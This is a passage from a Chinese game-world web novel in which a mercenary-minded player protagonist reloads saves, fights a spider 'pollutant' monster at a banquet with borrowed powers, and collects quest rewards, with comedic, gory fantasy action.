在她看来，现在显然就是要进剧情cg了，那么多多观察一下cg细节，也能更好地给公司反馈嘛！
那个晕倒的好像是低血糖，被几位黑衣大汉整整齐齐平抬走。
看来看去，还是长桌上一排排不认识但色泽诱人的食物更吸引她。
“唉，要不是为了挣钱，我能这么委屈自己吗？”朝晖长吁短叹，“那么多好吃的看得见吃不着，唉……”
刚刚明明就同意她去吃的大小姐：“……”
姬越的表情有些严肃，正想说点什么，忽然脚步一个趔趄，哐地一声倒在地上。
魁梧保镖大惊，忙将姬越扶起来，与此同时四周猛然窜出来一大群眼熟的黑衣保镖，团团把他们围住，客人们也像小鸡仔一样被他们赶着匆匆开始撤离。
一个拎着医药箱的眼镜女急匆匆跑过来：“姬先生！”
保镖把姬越交给她，眉头一皱，伸手抄起旁边长桌上的一个托盘，往空中某个方向狠狠一掷。
托盘划过一道优美的弧线，“啪”地一声摔在地上。
“你在丢什么？丢空了吗？”朝晖兴致勃勃凑上去。
保镖：“……有东西，赶紧通知安全局！”
“我不就是安全局的吗？”朝晖说，“有什么东西啊，看不出来呀！”
“好像是……蜘蛛？”魁梧保镖脸色凝重，他也有些摸不着头脑。
却听眼镜女大喊一声：“糟糕！！是污染物！！姬先生中招了，快快，组织异能者客人优先撤离！！”
“污染物？”
朝晖迷茫地点开个人面板。
眼睛都快看瞎了，才发现她好像真的在掉血。
掉了足足0.01！
呼，好险！
这也没个debuff显示什么的，她又能缓慢回血，要是再晚点察觉，血可能都已经回上去了呢。
又抬头看看，魁梧保镖好端端站在那，似乎也没受什么影响。
再一看，姬越面色惨白地歪倒在地，眼镜女正掏出氧气面罩给他戴上。
就这？
男主就这？
什么弱鸡啊！
保镖虽然站着，却也面色不好，更多人涌进来，全副武装，其中几个异能者护着姬越，似乎想要转移他去更安全的地方。
“不行，姬先生的情况你们也知道，必须要立刻对他进行施救！”眼镜女说。
“如何施救？”
“我们的医疗团队很快就会赶来，至于现在，你们有没有精神系？”
朝晖正无聊地看戏，却听见一声提示，姬越头上冒出一个硕大的蓝色感叹号。
“叮！”
“您触发了支线任务：被污染的白鸽。”
【被污染的白鸽：
洁白的底色更容易沾染肮脏。
用您的歌声拯救迷路的他。
奖励：金钱x800/经验/男主好感度等】
“嗯？”
她大喜，马上露出一个甜甜的笑容凑上去：“我来我来，我是精神系！”
“你是精神系？”
眼镜女和保镖男觉得不太对，哪有人带一个精神系异能者当贴身保镖啊？
贴身保镖除了保护老板，关键时候还得扛伤害什么的。所以最好以身体强化等技能为主流。
想去看殷永宁的眼色，又不太敢，纷纷低头等大小姐发话。
大小姐：“……你是精神系吗？”
“是啊，让我来，包治好的！”
殷永宁还没来得及说什么，就见朝晖清清嗓子，悠扬动听又带着那么些许蛊惑意味的嗓音响起：
“是唱歌激发了我，跟秃头老板搭了伙，千万别让我发了火，Ayo～～～诞生于2066，梦想是歌唱领袖，so pretty so fantastic，没有太多讲究！想唱歌跳舞的女孩，创作是我的王牌，你的魅力让我心潮澎湃——”
姬越飞快地醒了过来，眼中满是血丝：“闭……闭嘴……”
其他人目瞪口呆：“……”
“奇效啊！！”
朝晖喜滋滋地看着自己的账户余额+800，没注意到男主好感度不增反减。
眼镜女泪眼汪汪地看着殷永宁：“太感谢您了，殷小姐，您的保镖的能力竟然这么快就让姬先生醒来了！如果他一直昏睡，可能会造成很大的伤害！”
魁梧保镖还沉浸在刚才的歌声中无法自拔，眼角抽个不停，闻言赶紧掐一把自己，回神道：
“姬先生，殷小姐，我们先转移到安全的地方，这有污染物的痕迹，就交给保镖团队来处理吧。”
朝晖还没有见过真正的污染物，在她看来，这显然是一种非人型的怪。
经常杀人的都知道，抹人家脖子简单，难的反而是销毁尸体、处理现场、事后逃逸、隐瞒身份等。
在这个杀人容易被抓去坐牢的游戏中，非人怪物对她来说可能反而好杀许多，毕竟干掉就完事了，不仅不需要隐藏，或许还能提升名望呢！
在一大群黑衣人保护下，她陪着大小姐转移阵地，回头的眼神是那么的不舍。
殷永宁犹豫片刻，竟然道：“你留在这里吧，其他人来保护我就行。”
“！？”
周围众人均一愣。
殷永宁知道，殷一让朝晖陪她过来，本来也不是来保护她的，而是想要试探试探朝晖的本领和性格。
以白鸽电子的能量，还不缺朝晖这样一个异能者作保镖，哪怕她有些特殊之处。
“真的？”
朝晖眼睛一亮。
但随后又摇摇头，居然拒绝了：“不行，我要保护你。”
“你的能力特殊，去对付污染物吧。”殷永宁小声推了推她。
根据情报，朝晖可以用奇怪的方式操控污染物，并且不会受到污染的影响。
至少表面上，不受影响。
“不行，万一你死了，我任务可就是失败了，那可是五万块钱啊！”
“……我死了你还去在乎那五万块钱！？”
“不然呢？”朝晖奇怪，“唔，不过去看看也行……那大小姐你保护好自己，实在不行我回档。”
她阿巴阿巴完，蹦蹦跳跳满脸兴奋毫不留恋地往回去了。
宴会厅内的客人基本都在保镖们的安排下撤得七七八八，此时她从外面回来，明显看得出黑雾变得更加浓郁了一些。
“这黑雾是什么玩意？”她自来熟地凑到一个黑衣人旁边。
这黑衣人擦了擦汗，以为她是殷永宁派来打听消息的，便老老实实道：“不清楚，似乎是某种污染物散发出来的，对异能者可能会造成轻微的影响……如果你是异能者，还是先撤离吧。”
“我不是异能者。”朝晖诚恳地说。
“哦……啊？”
黑衣人汗颜，没记错的话，几分钟前她还大喊着她有精神异能，随后唱了一首极具精神
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污染的乱七八糟的歌，把姬先生给救了下来？
还没来得及指出这个问题，就见朝晖过来的方向，一片混乱。
警告！警告！支线任务【财阀少爷的家宴】已经失败！！
“出事了！？”
朝晖又急急忙忙往回跑，此刻动静已传出来，人流混乱，她索性双手一推，黑衣人就如摩西分海般东倒西歪地让出一条道路。
到了地方，就看见姬越张着大翅膀，面色苍白浑身浴血，手中像魔法少女……呃，少男那样，凝聚出各种白光，和房间里一头大蜘蛛互相battle，被打得节节败退。
因为他束手束脚，不敢去碰任何蜘蛛的身体部位。
这大蜘蛛长得，一看就是污染物！
为什么呢？
因为它身上那些乱七八糟的手臂啊、眼珠子啊、原本应该长在体内的血淋淋器官啊，实在对精神是一种极大的污染！
“红的还好看点，血液变成绿色更丑更恶心了啊喂！！”朝晖觉得眼睛极大的极大伤害。
与它相比，姬越那张有些欠揍的脸，此刻看起来是那么的顺眼。
大蜘蛛不讲武德，也不是很有母爱，把自家孩子一股脑地丢出来，缠住了房间内的保镖们。
这小蜘蛛也不知道是被妈妈丢出来生气了，还是青出于蓝胜于蓝、长江后浪推前浪。
那边姬越还撑着呢，这边小蜘蛛们对战好几位异能者保镖以及荷枪实弹的普通保镖，却把保镖们咬得是屁滚尿流，已经壮烈牺牲好几位，尸体乱飞。
她找了半天，才在一堆绿油油的血肉中找到大小姐的半个脑袋。
看来普通人面对污染物也没有安全到哪里去啊。
回档已成为必然，现在嘛，可以先探一探boss实力。
余烬不在附近，姬越的能力看起来也不是杀伤力很大的类型，她从系统中召唤出魔法少女卡牌，从小包里掏出卷纸往上一贴。
卡牌中储存着光头女boss的异能【机械化】，她选择强化双手和心脏。
然后立刻加入战场，抓住大蜘蛛身上那胡乱挥舞的手臂，“咔擦”几声就掰下来好几根！
大蜘蛛长出新的，完全不搭理她，非常专心地攻击姬越。
“……”
姬越早察觉有人来了，却无暇顾及，此刻看见她的身影，焦急道：“我拖不了多久，我快要‘异化’了！”
他的眼神已经变得忽清醒忽迷茫。
原本他对“污染”的抗性就非常低，现在却撑了这么久，已经是奇迹。
这个女人的歌声，还真是提神醒脑啊……
“它怎么不理我？你属MT啊，擅长嘲讽？”朝晖特别奇怪。
姬越：……
一股难以描述的情绪涌上来，不知怎么的又让他清醒了几分，恰好躲过一次攻击。
“它想吃掉我。”他说，“我开始异化之后，你必须立刻把我打晕。可恶，安全局怎么会来得这么慢？”
安全局旗下有不少异能者，但主力军还是训练有素的普通警员，他们比保镖更专业，是对付污染物的好手，比异能者更合适。
朝晖理所当然道：“你傻了吗？肯定安全局也有人想你们死呗！”
“……！”
姬越一愣，意识出现一阵恍惚，他撑不住了。
蜘蛛巨大的口器张开，黑漆漆混合着血液的消化液流下，一口咬下了他的脑袋。
动脉血狂喷而出，洁白的三对翅膀无力垂落，无头尸体“咚”一声掉在地上。
59.寰天娱乐（15）
这是玩家第一次看见像男主这么重要的角色如此惨烈地死在眼前。
之前被她失手敲死的小卫不算哈。
系统警报疯狂地尖叫起来，朝晖本来打算再多跟怪打一会儿，看看怎么对付，却被它吵得脑壳疼，大吼一声：“别叫了！闭嘴！！”
系统：“……”
其他还在战斗的黑衣人：“……”
黑衣人保镖，也中不乏大吼大叫的。
毕竟，看见自家老板就那么惨烈地挂了，现在战况也不是很理想，不管是真有感情，还是联想到自己的职业生涯，叫两声都实属正常不是？
被她一吼，众人安静如笼舍内的鹌鹑。
“这怪到底怎么杀啊？”朝晖很郁闷。
怪吃掉了姬越的脑袋，就仿佛磕到了兴奋/剂一般，身上各种辣眼睛的东西挥舞得愈发起劲，她给它造成的伤口，愈合得简直比呼吸还快。
不过相对的，她也不怕这个怪物，一人一蜘蛛拳拳到肉地搏斗了一会儿，她掉的血并不多。
就算污染物给她加上了轻微掉血的debuff，也比借小卫异能、自己变成污染物那会儿要少得多。
“不行，看来这种强化系的能力对付它不好使。”
朝晖也不是什么很苛刻的人，各种能力有各种能力的优势嘛。
于是她手指一转，指向地上的无头尸体，问系统道：“他死掉之后我还能借异能吗？”
姬越的魔法少男能力看起来攻击性并不强，却对这蜘蛛有一定的抑制效果，否则他也不能在意识受到影响的情况下撑那么久。
“你说的这是人话吗？”系统说。
“好吧，哎，你们先等等，我去找找余烬在哪……”朝晖掉头就走。
蜘蛛怪也没有追她的意思。
本来嘛，它好端端地在吃饭（？），是这个女人非要凑过来打扰它的好不好！
这个女人身上没有那种好吃的味道，它丝毫不感兴趣。
她刚走，蜘蛛怪总算想起来，自己还生了一堆孩子丢出去跟人类搏斗。
它调过头，将自己巨大的口器对准其他黑衣人保镖，带领孩儿们一拥而上……
余烬也不知道跑哪里去了，她转了一圈，无视所有路人甲，没看到头顶白字的男主，反而等来了安全局的队伍。
姜遥没来，这支队伍她一个人也不认识。
安全局队伍也不知道听到了什么消息，见她活蹦乱跳，也没搭理她，冲进去之后，很快跟蜘蛛怪战成一团。
朝晖在旁边暗中观察，发现他们的作战方式简单无脑：
先以大量火力掩护，将周围的人尽力救援出来；随后封锁污染物可能的逃跑路线，把它们驱赶到一起；最后一颗大炸弹从飞行器上丢下，把那一块儿建筑精准化为灰烬。
这，是她能参考的作战方式吗？！
“系统！玩家为什么不能配备重火力？我感觉异能比这个差远了呀！”朝晖非常不满。
怪不得异能者不能统治世界。这一颗炸弹丢下，恐怕连光头女boss那种强化□□也得凉凉。
系统：“……其实男主的异能很强，而且很全面……”
朝晖一想也是，异能者的强大主要在于其能力的特殊性，而非单纯破坏力。
况且，异能者也能用武器嘛！
这么想，她也就不纠结了。
很快，安全局宣布污染物已经被清除，接下来会组织清理现场，救援伤者等等。
见她不挪窝，他们试图将朝晖带回局子里。
带回局子？
怎么可能！
反正回档已成为必然，朝晖一拳一个小朋友，又跟几个异能者大战三百回合，最终被狙击手一枪崩死了。
朝晖深刻认为手枪已经不能再满足她，她迟早要弄一把大狙！
系统自动为她读取最近的存档，是她在从大厅撤退的时候顺手存下的。
此刻，保镖们准备带殷姬二人去往“更安全的地方”。
朝晖脚步顿住，拉着大小姐胳膊，大喊一声：“等等！”
“？”
“保护大小姐是我的使命，其他人你们带走吧，大小姐你跟着我。”
她这自信的语气出来，连殷永宁都愣了片刻。
虽然知道她是个什么德行，但试问谁在听到朝晖那种理所当然、鼻孔朝天的语气之后，不会心生不爽呢？
又何况大小姐这种从小生活在金字塔顶端的人？
“你跟着我就行。”现在情况特殊，殷永宁没有发脾气。
“我觉得那边比较危险。”朝晖说。
“那是酒店的安全房间，采用防弹防爆的材料制作，又有人重重保护，绝对是最安全的地方了。”黑衣人保镖头头反驳。
我信你个鬼！
那个蜘蛛怪很显然早早就埋伏在“安全房间”里，否则也不能一上来就把被护着的大小姐干掉。
朝晖纳闷：“现在酒店的情况混乱，又有污染物，为什么不直接离开酒店呢？”
“客人很多，大都地位不凡，如果贸然安排撤离，在路上可能会反而遭到敌人的伏击。”保镖头头分析。
众人点点头，这都是常见的刺杀手段。
随便哪位客人出事了，主人家脸上都不好看，所以还不如先保护在安全的地方，等情况稳定、安全局抵达再作打算。
反正酒店地方够大，现在出事的宴会厅也只是一小部份罢了。
“哦。”
朝晖拿出电话，旁若无人地拨通殷一的号码。
这是殷一给她的私人联络方式，对方说，如果遇到了什么非常紧急非常重大的事件，可以用这个方式快速联络，但平时就不要去使用了。
当然，根据白皇后对朝晖的了解，平时这家伙也想不到去给她打电话。
“小朝啊，你们现在怎么样？”
“喂，大佬？你听说了吧，这个宴会出事故了！”
“听说了，怎么了吗？”大佬很淡定。
像他们这种地位身份，早已暗中结下不知多少仇人，时不时出点事故属于家常便饭。
“假如大小姐是因为没听我的话而死掉了，那不能算我的错误吧？我还能拿到那五万的报酬吗？”朝晖大咧咧道。
宴会场地众人：……
殷一：……
殷永宁：不是你什么意思？
你给我妈打电话什么意思！？
多大人了，还告家长！！
她脸色一阵青一阵白，只觉得丢脸，非常地丢脸。
“你们产生了意见分歧吗？”大佬细致耐心地问。
玩家此前就已经发现，对npc说上一个存档的事，只会被他们无视，或者被问一些问题，她也解释不清楚。
她不知道自己的言语会被打码成“阿巴阿巴”之类的，只知道她说的时候，npc们就仿佛没有加载这方面的回应系统一般，呆呆地看着她。
要是换作小卫、莎莎他们，她就不必再解释了，直接下达命令就行，他们已经比较忠诚（？），很听她的话。
但这位大小姐不听，她还能咋办？总不能强行带着大小姐杀出去吧？
或许是大佬总是对她很耐心，朝晖想了想，解释：
“我感觉我
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们要去的地方有危险。”
“哦，安全屋吗？”
“对呀，其实那边埋伏着一个污染物。”
“你怎么知道的？”
“呃……我就是知道。”
“好吧，那你觉得你带永宁去哪里好呢？”
宴会厅还弥漫着黑雾，结合上一周目的情况来看，这黑雾应该是蜘蛛怪释放出来的，虽然有那么一点点危险性———具体表现为，普通人们都还好端端站着，姬越大少爷却晕倒在地。
但它却只是烟雾弹。目的还是将姬越或者殷永宁引到“安全屋”。
所以理论上讲，只要不去安全屋就行了。
“我觉得待在宴会厅最好。污染物对普通人的影响也不是很大吧？”朝晖说。
宴会厅非常大，视野开阔，现在人又快走光了，只有一些保镖，空空荡荡。
不可能有东西能隐蔽地埋伏在这里，就算有，也可以利用宽阔的空间更加方便地转圜周旋。
“那你就试试说服他们吧。”殷一说。
“他们不听我的呀！”
“那你觉得，假如别人不听你的，你会怎么做呢？”殷一循循善诱。
朝晖皱眉思索。
“好了，你毕竟只是一个保镖，这样的决策问题，我不会怪到你头上的。但就算保护雇主不是你的责任，对于一名安全局异能者来说，保护普通人也是你们的义务。站在这样的立场上，你或许能够找到解决的方法。”
“我还要开会，祝你们安全顺利。”
殷一挂掉电话，众人依旧在朝着安全屋的方位走去。
朝晖不想殷永宁过去的原因是，她暂时没有找到很好的方法去对付污染物，也不能保证自己在战斗的过程中，能不波及任务目标。
她只打过架，进入这个游戏以来，她还没有做过这样的“保护”任务呢。
想了想，她忽然掏出卫生纸往召唤出的卡牌上一拍，强化了手臂，动作行云流水，然后“哐”地一声敲晕身旁的保镖，把他的手枪顺了过来。
“都不许动，不然我开枪啦。”她伸出一只胳膊轻轻圈住大小姐，用枪指着她的太阳穴。
殷永宁：……
其他人：……
刷刷刷，所有的枪口顿时对准了她，这熟悉的场景竟让她多了些亲切感（？），以至于她反而愈发放松了。
还是直接抢了大小姐就跑吧！这样比较适合她！
“你想干什么？”姬越头疼欲裂。
看在现在情况紧急的份上，他们没空去纠结刚才她说的话。
这不会真是个神经病吧？
白皇后让她来的用意到底是什么？
朝晖对他们的话充耳不闻，拉着大小姐往宴会厅方向走去。
于是保镖团分成了两部分，一部分拥着姬越往安全屋走，另一部分警惕地跟着朝晖。
殷永宁想起自己妈妈的话。
“不要把她当成傻子，仔细去想一想她说的话，你会发现其实她不难沟通。”
枪口钉在太阳穴，可对方拉着她的手劲并不大，动作也很随意。
显然朝晖不可能真的想杀死她，否则以朝晖的能力，随便一个偷袭她都活不了。
朝晖说了什么话？
她觉得安全屋有危险，有污染物埋伏。还不如待在宴会厅。
现在，朝晖“绑架”她之后，果然就带着她来到宴会厅，施施然找个地方坐了下来，还顺手抓起宴会桌上的东西大吃特吃，把一旁心惊胆战的一堆黑衣人衬托得像一堆傻子。
所以……
朝晖这么做，其实只是想保护她？
60.寰天娱乐（16）
答案如何，倒也没让她等太久，等朝晖快把宴会长桌一扫而空的时候，安全屋出了事。
消息传过来，朝晖松了口气。看来怪物是固定地点刷新，不是跟着大小姐一起刷的。
此刻殷永宁和保镖们都用震惊的眼神望着她，她也就把枪放下来。大厅空旷，保镖们守在周围，暂时应该没什么东西能威胁到他们。
她有心想去那边打怪，又放不下价值五万块的大小姐。
思索片刻，她拉过一位黑衣保镖：“你知道余烬在哪里吗？”
“……余烬是谁？”保镖一脸茫然。
殷永宁觉得自己已经摸透了朝晖的想法。
朝晖只是不善言辞（？），行事鲁莽，但她，真的是想要保护她的呀！！
不管朝晖从哪里得知了“安全屋有埋伏”这样的消息，至少她现在救了她一命。
殷永宁顿时产生了满满的安全感，毕竟传消息的人说，那边姬越一个照面就被打伤，此刻保镖们正在苦战，不少异能者都去支援了。
换成是她，恐怕已经成为了一具尸体。
大小姐记性还不错，她看过朝晖资料，记得余烬这个角色，转而问她：“你不是跟他挺熟的，没有他电话吗？”
“没有。”
“那你知道他其他的联系方式吗？”
殷永宁又仔仔细细揣摩了一遍老妈给她的教导，得出一个结论：
跟朝晖说话，不要问“为什么”，有啥说啥，顺着她的话说，是最简单的沟通方式。
于是她决定不去问朝晖为什么要找余烬。
要是朝晖看上他了，她就帮点小忙撮合一下，这对她来说很简单。
“其他的？”
“嗯，实在不行我再帮你查查。”殷永宁说，“不过他是隶属于私人企业的异能者，我和他的公司不怎么熟，要委托其他人去办，查起来会慢一些。”
“其他的……”
朝晖想起一个东西：围脖。
节目组开播前，就让所有选手注册了围脖账号，帮她们开通认证，并关注了各位导师。因此，朝晖是下载了这个软件的。
余烬这咖位自然不可能回关，她发消息他可能也看不到。
但是她可以发围脖@他嘛！
至于粉丝反应什么的，在她看来那些都是游戏数据，谁在乎啊，说不定游戏公司压根没设定过这方面的内容。
朝晖自信地拿出手机，打开围脖，编辑博文发送：“你在哪呢？快来宴会厅一趟，有很重要的事。@余烬”
还好游戏自由度高，她这条围脖顺顺利利地发送了。
玩家决定等待五分钟，五分钟他不回复的话，那她再让大小姐帮忙。
结果才过了两分钟，余烬就满头大汗地出现在了她视线中。
“快删了！！！你疯了吗！！？”
余烬都顾不上白鸽电子的大小姐在旁边，没有形象地大喊。
“我去，这么好用？”朝晖惊喜，“看来以后需要用他异能的时候，我发条围脖就好了。”
系统：“……”
殷永宁忽然发觉，看朝晖用她那神奇的脑回路去整别人，是一件特别有意思的事情。
她旁观了发围脖的过程，索性拿出手机看起热闹。
这时候评论区还没有什么反应，毕竟明面上，朝晖是在封闭的训练营里，上交手机的。
博文的内容过于离谱，很多人也知道选手帐号大都是公司在管理，因此大家猜测，可能是工作人员上错号发错了，都在评论狂骂公司。
余烬刚才顺着人群被疏散，和小老板一起在安排好的休息室内休息，正无聊地用小号刷围脖呢，刷的还是朝晖的相关内容。
结果一刷刷出了这么一条消息，心脏都要停止跳动了，跟小老板说了一声就狂奔而出。黑衣人团队见他是保镖身份又是异能者，以为他是去支援的，就没阻拦他。
现在冷静下来他才发现，这事儿问题也不大，让《星光训练营》官方找个理由再道歉就行。刚才是他太激动了，一时间忘记了这茬。
没办法，和朝晖在一起待久了，很难保持冷静。
“你一会儿在这里帮忙看顾一下大小姐，我出去一趟。”朝晖指挥起来。
“……就为了这个？？这里不是有保镖吗？”余烬刚冷静下来的怒火开始重燃。
黑衣人当中有好几位异能者，其中也不乏比较强力的。
他们的异能等级或许比不上余烬，但人家是专业保镖，他又不是！
“我这不是还要借你的异能用一下吗？而且你们男主总得有点儿主角光环吧，哪有像大少爷那样动不动就又晕又死的，到底哪里来的自信能帮助女主，难道说身份强了实力就会弱？唔，似乎有点道理，这样才平衡嘛……”
系统：……人家是天生的缺陷正好能被玩家补足，被小太阳女主拯救好不好……算了。
朝晖嘀咕着别人听不懂的话，拿出卫生纸拍在余烬身上，也没管他答不答应，飞奔而去。
余烬在保镖们警惕的眼神中，抽搐着打起蚊子。
等等，你微博还没删——
朝晖哪里会管他悲愤的表情，姬越还在那边苦苦支撑呢，必须要节省时间。
理论上她可以不管姬越死活，但万一男主死掉，若干年之后某条主线卡关了，她不得不再读档重新来过，那她真的会气死。
她的速度极快，绕过几条走廊抵达目的地时，恰好看到大蜘蛛在啃噬某倒霉异能者的手臂。
这回，或许是她之前的话到底给了姬越等人一些警惕，大蜘蛛没有能偷袭成功。
它虽然还是生了许多难缠的小蜘蛛，但至少人类一方勉强稳住了阵脚，有余力去保护姬越，没让他不得不独自对抗大蜘蛛。
保镖们也不能对蜘蛛造成有效的伤害，可能拖住它，等待安全局抵达。
但boss的仇恨却依旧牢牢挂在姬越身上，他好几次想要撤离房间，都被蜘蛛疯狂阻拦，甚至分泌出许多柔韧难缠的蛛丝，把门口堵住了。
朝晖眼前一片白色，坚韧的蛛丝晶莹剔透还闪烁着光芒，乍一看十分美丽。
可定睛一瞧，原来上面密布着一个个非常微小、不停眨动的眼睛，看得人十分恶心。
“火焰？这火焰到底要如何操控呢？”
朝晖对于余烬异能的使用十分生疏，刚放出来就乱哄哄一顿炸，炸得墙面上坑坑洼洼，那蛛丝却是完好无损。
她不满地对系统道：“你们就不能增加一个异能说明、操作界面吗？人家魔法师至少也有念咒语、摆手势之类的动作可以参考，你们呢？你们这异能使用全靠脑子想，太不合理了！”
“……”
系统觉得不说话就是最好的应对。
好在朝晖毕竟已有操控触手的经验，经过一段时间的熟悉之后，她总算顺顺利利地把蛛丝点燃。
蛛丝上的眼睛疯狂闪烁，最终无力地——眨了眨。
“什么？蛛丝都烧不断？”
朝晖怒！
她愤怒地把墙炸了。
里面大蜘蛛小蜘蛛
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和姬越等人一起呆呆地看着她。
“好强的火焰异能！”魁梧保镖面色凝重，“洛川市厉害的火焰型，应该只有那么几个才对……”
大佬们虽然不一定认识余烬，但异能者的圈子里，消息灵通者都知道这样特殊的一个人。
虽然他们认为异能者去做唱跳偶像是一件很奇怪的事，也难免有人因此看不起他，但是不可否认的是，拥有S级异能的余烬是非常强大的。
火系异能杀伤力强，又比热武器更加灵活方便，而余烬这种偏向“爆炸”的类型相当于随身携带高杀伤热武器，且十分隐蔽。
现在怎么……又冒出来一个？
然而大蜘蛛却似乎对朝晖毫无兴趣，心中只有姬越。
“你快躲起来呀！”朝晖拦住蜘蛛，抽空对他说。
姬越倒也不娇情，扑棱着翅膀就向她打出的那个大洞飞去。
蜘蛛一瞧，又哪里肯乖乖放他走？欺身而上，被朝晖一脚踹飞。
可惜它个头大体重高，40点力量也只是把它踹出去几米，它很快稳住身形，召唤孩儿们一齐阻拦姬越。
朝晖就奇了怪了：“它是智商太低了吗？都这种时候了还对你不依不饶的，别人是不能吃还是咋滴？”
姬越：“……”
他本来想解释一下，他有一些特殊之处，对于污染物来说，确实很“好吃”。
可是……跟朝晖解释，怎么一想就觉得那么怪呢？
姬越想起朝晖神奇的脑袋，决定还是一言不发。
朝晖也就吐槽一下，自顾自搓起火球。
她一开始觉得，光靠“脑补”火焰的形状和效果，实在不太方便，于是就学着动漫里看到的那样双手放在身前，像是搓面团那样搓了起来。
没想到效果很不错！
一个个拳头大的火球仿佛小炸弹一般在蜘蛛身周炸开，把它炸得后退连连，身上的手臂眼珠子什么的被灼烧成一片焦黑，散发出一阵阵不太妙的气味。
“果然魔法师还得是弄点动作啊、手势什么的看起来比较帅气吧！”
一字不差听进耳朵的姬越：“……你现在的动作和帅气的关联到底在哪里？”
蹲在那一边蹦蹦跳跳（躲蜘蛛）一边搓火球的样子，真的很猥琐！
余烬的异能算是魔法攻击，果然对污染物有着不错的效果，蜘蛛被烧得哀叫连连，恢复的速度慢了许多，不得不暂且退后。
姬越趁机收起翅膀回身，钻进了那个墙洞，扶着额头靠在墙上，暂且喘了口气。
他歇息片刻，手中圣洁的白光亮起，朝晖低头一看，自己的血量恢复了50点，蓝量恢复了20点。
朝晖：“？”
朝晖死死地盯着他。
姬越：“……你这个表情是什么意思？”
朝晖问：“付出什么样的代价你才会愿意成为我的员工？”
“你在做梦吗？”姬越很抓狂。
堂堂红皇后的小儿子，S级异能者，怎么可能去给她当员工啊？
系统诈尸一般跳出来，“亲爱的玩家，你看这个男主他个高腿长，脸蛋帅气，家世显赫，能力强悍。最重要的是，你的歌声可以治愈他的精神伤痛。多么天造地设的一对呀！要不你就走走恋爱线吧？”
这一刻，朝晖真的是有那么一点心动了。
如果她能拥有姬越作为员工，以后不论是用小卫的触手，还是用小余的火焰，都能拥有无穷无尽的续航。
有了这种一口回50血的神级奶，谁还能把她干掉？
61.寰天娱乐（17）
有了余烬异能帮助，又有姬越给她回血回蓝，朝晖打得那叫一个放肆爽快，火球乱炸，“哈哈哈哈哈哈”大笑声中让大蜘蛛和其孩儿们一起升天。
这个大蜘蛛倒也好对付，因为它最大的杀手锏——污染，对她没有半分效果，只是少许掉血而已。
只要找到合适的攻击手段，杀死它只是时间问题。
余烬的火系爆炸异能，和上周目当中安全局采用的炸弹有着异曲同工之妙，看来这些污染物害怕火焰攻击。
在她拖住蜘蛛的时候，保镖们已经趁机互相搀扶着离开房间，撤离到外面，后赶来的异能者们和医疗团队纷纷一拥而上，帮忙进行救助。
“您已杀死B级污染物x1，D级污染物x50。”
“获得奖励：金钱x5000，经验x200，能源二十五单位。”
“您已升级，天赋点+1。”
“检测到您拥有未知效果：【？】，特殊道具【魔法少女卡牌】，您解锁了【创作特殊分支：污染·异化】。”
“您触发了支线任务：【污染物清理】”
【污染物清理：
在洛川市之外，有一片被称作“封锁区”的地方，每年都有英勇之人为了守护市民安全而牺牲于此。
活不下去的异能者，会去它的外围碰碰运气。
很少有人知道，封锁区的另外一个名字，叫做污染区。
人们对其避之不及，却又对其中的某些东西趋之若鹜。
杀死污染物（0/1）
奖励：抗污染点数x1。
本任务可重复完成。】
夺少！？
朝晖先是被“金钱x5000，能源二十五单位”給迷花了眼。
她那么辛辛苦苦去抢了一趟矿区，也只偷到300多单位的能源而已！！
就杀了一只大蜘蛛，给这么多？
随后，她才注意到后面跳出来的一大堆其他消息。
首先是【创作特殊分支：污染·异化】。
这东西名字长，其实点进去一看，也就是【创作】的原先三个分支下面多出来了一条【污染之手】，颜色和其他的也不一样，充分展现出它特殊的地位。
【污染之手：不论您创作出什么样的作品，都都可以使其拥有污染他人的能力。
污染：需要消耗一定的能源。
异化效果：您可以用魔法少女卡牌中储存的能力作为污染之源。】
？
这写的什么玩意？
“系统，能不能帮我中译中一下？”朝晖非常不满，“你们这文案说的是人话吗？”
系统：……
其实它现在也处于震惊的状态。
“所谓污染，和污染物产生的其实是类似的效果。”它解释着，“污染需要消耗能量。但是，如果你选择以某种纯粹的异能能量作为污染之源，那么被污染的对象，也会获得那种能力，代价是使用的同时会遭受污染。”
“换句话说，你可以直接用魔法少女卡牌去‘污染’一个人，这样就不必要额外消耗能量了。而ta就会获得魔法少女卡牌中的异能，同时遭受到污染的侵蚀。”
朝晖眼睛一眯：“说吧，污染和异能之间到底是什么关系。”
“……亲爱的玩家，我只是一个ai辅助系统，这些剧情内容需要您自己去探索。”
“好吧好吧。”
朝晖接受了这个解释。
到底是什么关系，她其实也不是很在乎，无非就是剧情设定呗！
关键是，这个污染之手，听起来似乎有些鸡肋啊！
拥有这样的攻击手段，相当于她面对异能者的时候天然就多给对方上了一个debuff。但说实话，如果污染并不是很强，异能者受到的影响其实是相当有限的。
没看现在外面那群异能者保镖、甚至姬越都还好端端的吗？
姬越的受污染程度比较深，但大家并不是很慌乱。
而且经纪人拥有那种特殊的“变成污染物”异能，也还活得好好的，还能当996打工仔呢。
显然这种污染在严重到某种程度之前，都是可以康复的。
【污染之手】后续也有各种加强天赋可以去点，但是朝晖觉得与其如此，还不如将珍贵的天赋点数用在强化她现在最常使用的【偷盗之手】上面。
至于那个异化能力，她也不是很懂。
咋地，污染对手的同时还给对方送个强力异能？
她做慈善啊！
另外一个支线任务【污染物清理】，则是让她有喜有忧。
喜的是，污染物掉落这么丰厚，她肯定要经常去杀。
忧的是，她现在还得在《星光训练营》做主线，没办法去封锁区杀怪……
朝晖咬牙切齿。
她觉得这个主线任务的设定实在是太不合理了，竟然要把她困在一个封闭的地方好几个月！！
游戏这么设定，到底还让不让玩家去杀怪了？
投诉！必须要投诉！
系统：……
有没有可能，我们这是一款乙女游戏？
有没有一种可能性，这好几个月时间，是让玩家在发展事业的同时，还可以甜甜蜜蜜地与一番男主余烬展开感情线的！？
它委屈，难受，但没有把这些话说出来。
因为它已经知道，说出来也只会被玩家骂，算了。
“而且抗污染点数又是什么？”
“这个，还请您自己去探索……”系统用机械的语气开始棒读。
“这有什么好探索的？看字面意思不就是抵抗污染的吗！”朝晖没好气地谴责系统，“难道是给我消除debuff用的？”
抗污染点数高了后，她再用小卫异能，是不是就不害怕掉血了？
算了，反正现在也没有，以后再研究吧。
新获得的天赋点，她可以用来继续点出【偷盗之手】的后续强化天赋，把偷来的能力从75%提升至80%，或者是提高偷窃的成功率。
至于【唱歌】【跳舞】这种鸡肋玩意，在天赋点溢出之前她绝不会再多点一个。
但现在，她既没有能源储备，也没有特别好的材料用来创作，所以她暂时就没有用掉这个天赋点。
全部清点下来后，她发现这次的收获看似很多，但其实大部分都是解锁了一些不明不白的功能。
不过5000的金钱收入，已经足矣让她喜笑颜开。
